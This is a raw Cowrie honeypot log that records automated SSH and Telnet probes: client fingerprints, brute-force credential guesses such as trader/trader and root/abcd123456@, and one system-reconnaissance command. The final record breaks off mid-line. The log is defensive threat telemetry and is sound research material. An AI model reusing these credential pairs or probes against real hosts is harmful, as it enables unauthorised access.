{"eventid":"cowrie.login.failed","username":"root","fingerprint":"59:7b:95:3c:82:ee:71:16:bb:95:51:1a:67:db:d7:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKxlyTamwAAtmnbSAD4Bp92/m4N8ZlkJU7rrCu8241M3vHn4bo5ytyHPaWp+20V/rsOi4+MbMf0tvaVrErhwG8/uI15aA1mdeokVeQbbj6QhwWxDPOrHH4NfP2RNqiLkoKatFXH63n1nHGvwIsNN9NvzdtswTQRahC26MVZKyAPIHwmB0Iak8Jig0PlJO5Mh2kVdafZ8AcPeYWX7w7hEIRDRCBFzVf4v348XUZyjayFCCyLF9XgqVH3PDH+0DTC3zI6/UvanmxwxGwQDLvNQKZk6BtCzoLYxRk83gE+xhyZqx+qSstGQaLEdKMHQgYtmvlvNRDtKdIz499egUkcu9+c0/Ry1Xg/3m3Ga0r9o6imzcG/9yGi9Dyy8DvoIexGVuRv0KfSF7EQKgh0xytOXPvEcJSP+KbpZf4nteG1C3DEwxd8ebQZ33zkTL8+j2pOq+2mr+5/jhjvQrPJg7yo7FeOxGkqLdodhoCJsamCbiXMagp5l0oC6h4PnslU6FOOZHFtoUBUoR0NI44Nb6sHfUUKneYtFcDiUwVH3AzpdUE3Cj1qE2nfs3d3T8j3CLGWCi3BCPwrjz/zY1yhDHw0VL8Juz/mCL5RbsUny/foBsAI36aAW0Mea5CttRS3mZQ02E12zjT3eIA3oLoE3iXujBqUfeFIN7BlkjdTTzIsnsZMQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:42:55.127986Z","src_ip":"142.171.90.82","session":"3d75d3362d36","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"54:be:58:44:8e:b8:77:27:61:9f:98:dc:09:ab:56:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC64Vzkcmd9TM54JewJDzF77+iQWYVRgDDnqGgVhDcRKOO87bknrfTzMfnLHWznA+hiQzYwYYgdJmAtvjsfwnuMYh1MDpUF/jTjCRHtJLM3bZwFT6dMUOWZrsNlpjk3omhXjHFteF+txoUsVS9YxR/dLF49PIUiyYYIm/+BUm0LpH2uwdPrBkXlquVicpFed+BrSeDiKRp2sMMgwRcKlN4mmQ8xFPk+4R3huVxM6AdivGjbT05WA4xDCoLhu8zvMyD02+5xvK7ojxHR+HYj0Bp2CIRzGY2MGGrckxCWtxfs74oMBMgC3u8RtAdjxAXH7K0VVQo3Wg1vLO28q+QBnBbgx7bu/SUTy5IOJlIGvzHGXWjLd/vvjxxZgpmER3SwE8bCjd4U7g1iPbngXYAZE5Jq7f8Pl5ZYDh3rLsxsBfkncLVSr6N49ahWP2L/64wA7luowPU4tBnZC5hw78nuZCQqo0wZP0meGSzm/2K8vyUle/ERj5iR5a3J+CVXmWybrggzJoGwQJKcddopnZDvRSdUonZ4EDd9tYMP54FBbQwbB6FjpCoD6+3fuNG3EvIGae0jN01Kv+AJNRGgD5gTzbqEmwsAxuVTyEZSQwrTqGCJzeDHqJ0Me0HpCioqJAZwjS1lpd/w71mnqtuOnLYaNJkHXEMtbOvF2vknZwMMgdsOpQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 54:be:58:44:8e:b8:77:27:61:9f:98:dc:09:ab:56:dd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:42:55.195935Z","src_ip":"142.171.90.82","session":"3d75d3362d36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"54:be:58:44:8e:b8:77:27:61:9f:98:dc:09:ab:56:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC64Vzkcmd9TM54JewJDzF77+iQWYVRgDDnqGgVhDcRKOO87bknrfTzMfnLHWznA+hiQzYwYYgdJmAtvjsfwnuMYh1MDpUF/jTjCRHtJLM3bZwFT6dMUOWZrsNlpjk3omhXjHFteF+txoUsVS9YxR/dLF49PIUiyYYIm/+BUm0LpH2uwdPrBkXlquVicpFed+BrSeDiKRp2sMMgwRcKlN4mmQ8xFPk+4R3huVxM6AdivGjbT05WA4xDCoLhu8zvMyD02+5xvK7ojxHR+HYj0Bp2CIRzGY2MGGrckxCWtxfs74oMBMgC3u8RtAdjxAXH7K0VVQo3Wg1vLO28q+QBnBbgx7bu/SUTy5IOJlIGvzHGXWjLd/vvjxxZgpmER3SwE8bCjd4U7g1iPbngXYAZE5Jq7f8Pl5ZYDh3rLsxsBfkncLVSr6N49ahWP2L/64wA7luowPU4tBnZC5hw78nuZCQqo0wZP0meGSzm/2K8vyUle/ERj5iR5a3J+CVXmWybrggzJoGwQJKcddopnZDvRSdUonZ4EDd9tYMP54FBbQwbB6FjpCoD6+3fuNG3EvIGae0jN01Kv+AJNRGgD5gTzbqEmwsAxuVTyEZSQwrTqGCJzeDHqJ0Me0HpCioqJAZwjS1lpd/w71mnqtuOnLYaNJkHXEMtbOvF2vknZwMMgdsOpQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:42:55.199458Z","src_ip":"142.171.90.82","session":"3d75d3362d36","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cb:47:11:e7:10:91:e1:a5:4b:c5:e0:58:3c:d6:87:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDcYBLr1maNKJjFDCoGbxVKnfdBGqdHlM1ZslDlAunbINId4oaZf1vlE0hK2RKUXnvWbiFcUhuKkadqtBkP15oBSB6HPRQdjF8nadlf7WQ9KtgJAK8oEgXOVpUJ61Q4Xbl7rbJXtFLv2BDWueqUIL5XXIUAmkcJqOKxcECZltj+UNRqWmZrXteNUdrVUbEE35kZqzpPq0VpoQXciI510dZtzotS4a6S6+f/8kWfc9DDQUq8xC14aHG4hqF6EelRhI+HzA27N6owBohcJUFcGAEL8vfT/OYzcuUk4sdQIzQdW3xJcvMhxbdFFEmnbTAqfiClGxTslNcTB1JRQzuZ2KeUDKJR1QbDqtCt7R8zMupgoAbfvEJ9PZfUiXeD+25exz7HLj1SNE6AEKUWKz9JWLUFW5VPMbLHn7h9RMcw1yPHviingnkMdyrxb/WaV+9jvYHbDzsxSESFrz6Ys3u5QkS0j0HO1ASNzVBueFKB/OlX+MW8EKqAIxWG1gG8NMD0V9oS7y+uC22tGmwQxWMVpyk1Oxb4No3OnFxTbGSo/tuAXYyJR3+FwJVflLoBvrXqYZYy22tYjtDdAobxsIhbHArZYQEflEj7Y6RNDQ7tYOjjiYrHx9oBUJCSA2CN69WHh8skAx3wcVRxaen382ZmPPKodY/rC9crwWURdp3o3orU/Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cb:47:11:e7:10:91:e1:a5:4b:c5:e0:58:3c:d6:87:64","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:42:55.270459Z","src_ip":"142.171.90.82","session":"3d75d3362d36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cb:47:11:e7:10:91:e1:a5:4b:c5:e0:58:3c:d6:87:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDcYBLr1maNKJjFDCoGbxVKnfdBGqdHlM1ZslDlAunbINId4oaZf1vlE0hK2RKUXnvWbiFcUhuKkadqtBkP15oBSB6HPRQdjF8nadlf7WQ9KtgJAK8oEgXOVpUJ61Q4Xbl7rbJXtFLv2BDWueqUIL5XXIUAmkcJqOKxcECZltj+UNRqWmZrXteNUdrVUbEE35kZqzpPq0VpoQXciI510dZtzotS4a6S6+f/8kWfc9DDQUq8xC14aHG4hqF6EelRhI+HzA27N6owBohcJUFcGAEL8vfT/OYzcuUk4sdQIzQdW3xJcvMhxbdFFEmnbTAqfiClGxTslNcTB1JRQzuZ2KeUDKJR1QbDqtCt7R8zMupgoAbfvEJ9PZfUiXeD+25exz7HLj1SNE6AEKUWKz9JWLUFW5VPMbLHn7h9RMcw1yPHviingnkMdyrxb/WaV+9jvYHbDzsxSESFrz6Ys3u5QkS0j0HO1ASNzVBueFKB/OlX+MW8EKqAIxWG1gG8NMD0V9oS7y+uC22tGmwQxWMVpyk1Oxb4No3OnFxTbGSo/tuAXYyJR3+FwJVflLoBvrXqYZYy22tYjtDdAobxsIhbHArZYQEflEj7Y6RNDQ7tYOjjiYrHx9oBUJCSA2CN69WHh8skAx3wcVRxaen382ZmPPKodY/rC9crwWURdp3o3orU/Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:42:55.274039Z","src_ip":"142.171.90.82","session":"3d75d3362d36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:42:55.343402Z","src_ip":"142.171.90.82","session":"3d75d3362d36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":60586,"dst_ip":"10.17.0.5","dst_port":23,"session":"be5e6423afd5","protocol":"telnet","message":"New connection: 212.55.149.117:60586 (10.17.0.5:23) [session: be5e6423afd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:43:01.498072Z"}
{"eventid":"cowrie.session.closed","duration":33.72830247879028,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:43:11.464933Z","src_ip":"128.199.8.54","session":"54f0ab56928f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":44098,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7316bcb0885","protocol":"ssh","message":"New connection: 2.57.122.208:44098 (159.203.135.109:22) [session: b7316bcb0885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:43:15.434606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:43:15.540731Z","src_ip":"2.57.122.208","session":"b7316bcb0885","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:43:15.639174Z","src_ip":"2.57.122.208","session":"b7316bcb0885","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:43:16.624567Z","src_ip":"2.57.122.208","session":"b7316bcb0885","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:43:17.292507Z","src_ip":"2.57.122.208","session":"b7316bcb0885","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:43:17.295880Z","src_ip":"2.57.122.208","session":"b7316bcb0885","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:43:17.563204Z","src_ip":"2.57.122.208","session":"b7316bcb0885","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:43:17.568415Z","src_ip":"2.57.122.208","session":"b7316bcb0885","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.29605054855347,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:43:26.537807Z","src_ip":"128.199.8.54","session":"8b28755c24aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.194.41","src_port":59584,"dst_ip":"159.203.135.109","dst_port":22,"session":"d229662d8975","protocol":"ssh","message":"New connection: 122.168.194.41:59584 (159.203.135.109:22) [session: d229662d8975]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:43:30.860096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:43:30.864908Z","src_ip":"122.168.194.41","session":"d229662d8975","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:43:31.147079Z","src_ip":"122.168.194.41","session":"d229662d8975","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"a","message":"login attempt [testuser/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:43:32.301784Z","src_ip":"122.168.194.41","session":"d229662d8975","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:43:33.585167Z","src_ip":"122.168.194.41","session":"d229662d8975","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":48274,"dst_ip":"159.203.135.109","dst_port":23,"session":"61665536e78d","protocol":"telnet","message":"New connection: 128.199.8.54:48274 (159.203.135.109:23) [session: 61665536e78d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:43:44.102570Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":35438,"dst_ip":"159.203.135.109","dst_port":23,"session":"38df6bcc7e53","protocol":"telnet","message":"New connection: 128.199.8.54:35438 (159.203.135.109:23) [session: 38df6bcc7e53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:43:48.632678Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":33650,"dst_ip":"159.203.135.109","dst_port":23,"session":"a09e45ab8ebb","protocol":"telnet","message":"New connection: 69.6.249.0:33650 (159.203.135.109:23) [session: a09e45ab8ebb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:43:49.400028Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51036,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbcc48137c1e","protocol":"telnet","message":"New connection: 128.199.8.54:51036 (159.203.135.109:23) [session: dbcc48137c1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:43:56.372492Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":22163,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3e17dcfc9e0","protocol":"ssh","message":"New connection: 193.24.211.100:22163 (159.203.135.109:22) [session: a3e17dcfc9e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:44:02.837433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:44:02.845099Z","src_ip":"193.24.211.100","session":"a3e17dcfc9e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:44:03.078742Z","src_ip":"193.24.211.100","session":"a3e17dcfc9e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd123456@","message":"login attempt [root/abcd123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:44:03.553012Z","src_ip":"193.24.211.100","session":"a3e17dcfc9e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:44:04.665146Z","src_ip":"193.24.211.100","session":"a3e17dcfc9e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.325746059417725,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:44:04.823734Z","src_ip":"212.55.149.117","session":"be5e6423afd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56026,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6f22898b238","protocol":"telnet","message":"New connection: 128.199.8.54:56026 (159.203.135.109:23) [session: d6f22898b238]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:44:12.774551Z"}
{"eventid":"cowrie.session.closed","duration":33.45091962814331,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:44:17.553378Z","src_ip":"128.199.8.54","session":"61665536e78d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.36756420135498,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:44:20.767362Z","src_ip":"69.6.249.0","session":"a09e45ab8ebb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.500924825668335,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:44:22.133494Z","src_ip":"128.199.8.54","session":"38df6bcc7e53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54742,"dst_ip":"159.203.135.109","dst_port":23,"session":"f29005d5a72e","protocol":"telnet","message":"New connection: 128.199.8.54:54742 (159.203.135.109:23) [session: f29005d5a72e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:44:25.081104Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.133.64.107","src_port":32854,"dst_ip":"10.17.0.5","dst_port":22,"session":"12d0ecdcb051","protocol":"ssh","message":"New connection: 23.133.64.107:32854 (10.17.0.5:22) [session: 12d0ecdcb051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:44:25.723448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:44:25.728475Z","src_ip":"23.133.64.107","session":"12d0ecdcb051","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"